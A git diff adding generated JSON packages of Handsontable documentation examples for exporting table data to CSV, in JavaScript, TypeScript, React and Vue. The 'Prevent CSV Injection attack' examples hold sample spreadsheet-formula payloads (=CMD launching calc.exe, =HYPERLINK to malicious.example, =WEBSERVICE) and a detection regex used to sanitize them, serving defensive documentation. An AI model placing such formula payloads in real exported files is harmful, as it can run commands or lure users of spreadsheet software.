    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example3');\nconst hot = new Handsontable(container, {\n data: [\n ['Spring Launch', 'Email', 'North America', '1240', '4.2%', '$12000', 'Q1 2025'],\n ['Partner Webinar', 'Paid Search', 'EMEA', '860', '6.1%', '$9400', 'Q1 2025'],\n ['Summer Upsell', 'Social', 'APAC', '1520', '3.7%', '$13800', 'Q2 2025'],\n ['Product Video', 'Email', 'North America', '980', '5.4%', '$8600', 'Q2 2025'],\n ['Back-to-School', 'Display', 'LATAM', '1110', '4.8%', '$10100', 'Q3 2025'],\n ['Holiday Teaser', 'Affiliate', 'EMEA', '1340', '5.9%', '$12700', 'Q4 2025'],\n ['Loyalty Drive', 'SMS', 'APAC', '790', '7.3%', '$6200', 'Q4 2025'],\n ],\n colHeaders: true,\n rowHeaders: true,\n hiddenRows: { rows: [1, 3, 5], indicators: true },\n hiddenColumns: { columns: [1, 3, 5], indicators: true },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\nconst exportPlugin = hot.getPlugin('exportFile');\nconst button = document.querySelector('#export-string');\nbutton.addEventListener('click', () => {\n const exportedString = exportPlugin.exportAsString('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: false,\n exportHiddenRows: false,\n rowDelimiter: '\\r\\n',\n rowHeaders: true,\n });\n console.log(exportedString);\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/export-to-csv/javascript/example3.js","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example3","exampleTitle":"Export as a string","docPermalink":"/export-to-csv","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__javascript__example3.ts.json new file mode 100644 index 00000000..373d7202 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__javascript__example3.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Accessories And Menus ▸ Export to CSV · Export as a string · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n
    \n
    \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { ExportFile } from 'handsontable/plugins';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3')!;\n\nconst hot = new Handsontable(container, {\n data: [\n ['Spring Launch', 'Email', 'North America', '1240', '4.2%', '$12000', 'Q1 2025'],\n ['Partner Webinar', 'Paid Search', 'EMEA', '860', '6.1%', '$9400', 'Q1 2025'],\n ['Summer Upsell', 'Social', 'APAC', '1520', '3.7%', '$13800', 'Q2 2025'],\n ['Product Video', 'Email', 'North America', '980', '5.4%', '$8600', 'Q2 2025'],\n ['Back-to-School', 'Display', 'LATAM', '1110', '4.8%', '$10100', 'Q3 2025'],\n ['Holiday Teaser', 'Affiliate', 'EMEA', '1340', '5.9%', '$12700', 'Q4 2025'],\n ['Loyalty Drive', 'SMS', 'APAC', '790', '7.3%', '$6200', 'Q4 2025'],\n ],\n colHeaders: true,\n rowHeaders: true,\n hiddenRows: { rows: [1, 3, 5], indicators: true },\n hiddenColumns: { columns: [1, 3, 5], indicators: true },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nconst exportPlugin: ExportFile = hot.getPlugin('exportFile');\n\nconst button = document.querySelector('#export-string')!;\n\nbutton.addEventListener('click', () => {\n const exportedString = exportPlugin.exportAsString('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: false,\n exportHiddenRows: false,\n rowDelimiter: '\\r\\n',\n rowHeaders: true,\n });\n\n console.log(exportedString);\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/export-to-csv/javascript/example3.ts","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example3","exampleTitle":"Export as a string","docPermalink":"/export-to-csv","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__javascript__example4.js.json new file mode 100644 index 00000000..7b85a2d2 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__javascript__example4.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Accessories And Menus ▸ Export to CSV · Prevent CSV Injection attack · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n \n \n \n
    \n
    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example4');\nconst hot = new Handsontable(container, {\n data: [\n ['https://api.acme-inventory.com/live-stock', '=WEBSERVICE(\"https://api.acme-inventory.com/live-stock\")'],\n ['https://status.vertex-logistics.com/feed', '=WEBSERVICE(\"https://status.vertex-logistics.com/feed\")'],\n ['http://malicious.example/payload.exe', '=CMD(\"| calc.exe\")'],\n ['https://news.example.com/q2-briefing', '=HYPERLINK(\"http://malicious.example\",\"Open report\")'],\n ['https://cdn.example.com/daily.csv', '+SUM(1,1)'],\n ],\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\nconst exportPlugin = hot.getPlugin('exportFile');\ndocument.querySelector('#no-sanitization').addEventListener('click', () => {\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n });\n});\ndocument.querySelector('#recommended-sanitization').addEventListener('click', () => {\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n sanitizeValues: true,\n });\n});\ndocument.querySelector('#regexp-sanitization').addEventListener('click', () => {\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n sanitizeValues: /WEBSERVICE|CMD|HYPERLINK|^\\+/,\n });\n});\ndocument.querySelector('#function-sanitization').addEventListener('click', () => {\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n sanitizeValues: (value) => {\n return /WEBSERVICE|CMD|HYPERLINK|^\\+/.test(value) ? 'REMOVED SUSPICIOUS CELL CONTENT' : value;\n },\n });\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/export-to-csv/javascript/example4.js","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example4","exampleTitle":"Prevent CSV Injection attack","docPermalink":"/export-to-csv","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__javascript__example4.ts.json new file mode 100644 index 00000000..58be72a2 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__javascript__example4.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Accessories And Menus ▸ Export to CSV · Prevent CSV Injection attack · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n \n \n \n
    \n
    \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { ExportFile } from 'handsontable/plugins';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example4')!;\n\nconst hot = new Handsontable(container, {\n data: [\n ['https://api.acme-inventory.com/live-stock', '=WEBSERVICE(\"https://api.acme-inventory.com/live-stock\")'],\n ['https://status.vertex-logistics.com/feed', '=WEBSERVICE(\"https://status.vertex-logistics.com/feed\")'],\n ['http://malicious.example/payload.exe', '=CMD(\"| calc.exe\")'],\n ['https://news.example.com/q2-briefing', '=HYPERLINK(\"http://malicious.example\",\"Open report\")'],\n ['https://cdn.example.com/daily.csv', '+SUM(1,1)'],\n ],\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nconst exportPlugin: ExportFile = hot.getPlugin('exportFile');\n\ndocument.querySelector('#no-sanitization')!.addEventListener('click', () => {\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n });\n});\n\ndocument.querySelector('#recommended-sanitization')!.addEventListener('click', () => {\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n sanitizeValues: true,\n });\n});\n\ndocument.querySelector('#regexp-sanitization')!.addEventListener('click', () => {\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n sanitizeValues: /WEBSERVICE|CMD|HYPERLINK|^\\+/,\n });\n});\n\ndocument.querySelector('#function-sanitization')!.addEventListener('click', () => {\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n sanitizeValues: (value) => {\n return /WEBSERVICE|CMD|HYPERLINK|^\\+/.test(value) ? 'REMOVED SUSPICIOUS CELL CONTENT' : value;\n },\n });\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/export-to-csv/javascript/example4.ts","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example4","exampleTitle":"Prevent CSV Injection attack","docPermalink":"/export-to-csv","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__react__example1.tsx.json new file mode 100644 index 00000000..6fb8c545 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Accessories And Menus ▸ Export to CSV · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n\n const buttonClickCallback = () => {\n const hot = hotRef.current?.hotInstance;\n const exportPlugin = hot?.getPlugin('exportFile');\n\n exportPlugin?.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n rowHeaders: true,\n });\n };\n\n return (\n <>\n
    \n
    \n \n
    \n
    \n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/export-to-csv/react/example1.tsx","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/export-to-csv","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__react__example2.tsx.json new file mode 100644 index 00000000..7fa874fd --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Accessories And Menus ▸ Export to CSV · Export as a JavaScript Blob object · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n\n const buttonClickCallback = () => {\n const hot = hotRef.current?.hotInstance;\n const exportPlugin = hot?.getPlugin('exportFile');\n const exportedBlob = exportPlugin?.exportAsBlob('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: false,\n exportHiddenRows: false,\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n rowHeaders: true,\n });\n\n console.log(exportedBlob);\n };\n\n return (\n <>\n
    \n
    \n \n
    \n
    \n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/export-to-csv/react/example2.tsx","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example2","exampleTitle":"Export as a JavaScript Blob object","docPermalink":"/export-to-csv","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__react__example3.tsx.json new file mode 100644 index 00000000..43012422 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__react__example3.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Accessories And Menus ▸ Export to CSV · Export as a string · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n\n const buttonClickCallback = () => {\n const hot = hotRef.current?.hotInstance;\n const exportPlugin = hot?.getPlugin('exportFile');\n const exportedString = exportPlugin?.exportAsString('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: false,\n exportHiddenRows: false,\n rowDelimiter: '\\r\\n',\n rowHeaders: true,\n });\n\n console.log(exportedString);\n };\n\n return (\n <>\n
    \n
    \n \n
    \n
    \n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/export-to-csv/react/example3.tsx","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example3","exampleTitle":"Export as a string","docPermalink":"/export-to-csv","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__react__example4.tsx.json new file mode 100644 index 00000000..dc5eba9d --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__react__example4.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Accessories And Menus ▸ Export to CSV · Prevent CSV Injection attack · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example4\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n\n const downloadWithNoSanitizationCallback = () => {\n const hot = hotRef.current?.hotInstance;\n const exportPlugin = hot?.getPlugin('exportFile');\n\n exportPlugin?.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n });\n };\n\n const downloadWithRecommendedSanitizationCallback = () => {\n const hot = hotRef.current?.hotInstance;\n const exportPlugin = hot?.getPlugin('exportFile');\n\n exportPlugin?.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n sanitizeValues: true,\n });\n };\n\n const downloadWithRegexpSanitizationCallback = () => {\n const hot = hotRef.current?.hotInstance;\n const exportPlugin = hot?.getPlugin('exportFile');\n\n exportPlugin?.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n sanitizeValues: /WEBSERVICE|CMD|HYPERLINK|^\\+/,\n });\n };\n\n const downloadWithFunctionSanitizationCallback = () => {\n const hot = hotRef.current?.hotInstance;\n const exportPlugin = hot?.getPlugin('exportFile');\n\n exportPlugin?.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n sanitizeValues: (value) => {\n return /WEBSERVICE|CMD|HYPERLINK|^\\+/.test(value) ? 'REMOVED SUSPICIOUS CELL CONTENT' : value;\n },\n });\n };\n\n return (\n <>\n
    \n
    \n \n \n \n \n
    \n
    \n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/export-to-csv/react/example4.tsx","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example4","exampleTitle":"Prevent CSV Injection attack","docPermalink":"/export-to-csv","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__vue__example1.vue.json new file mode 100644 index 00000000..ccc216cd --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Accessories And Menus ▸ Export to CSV · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n 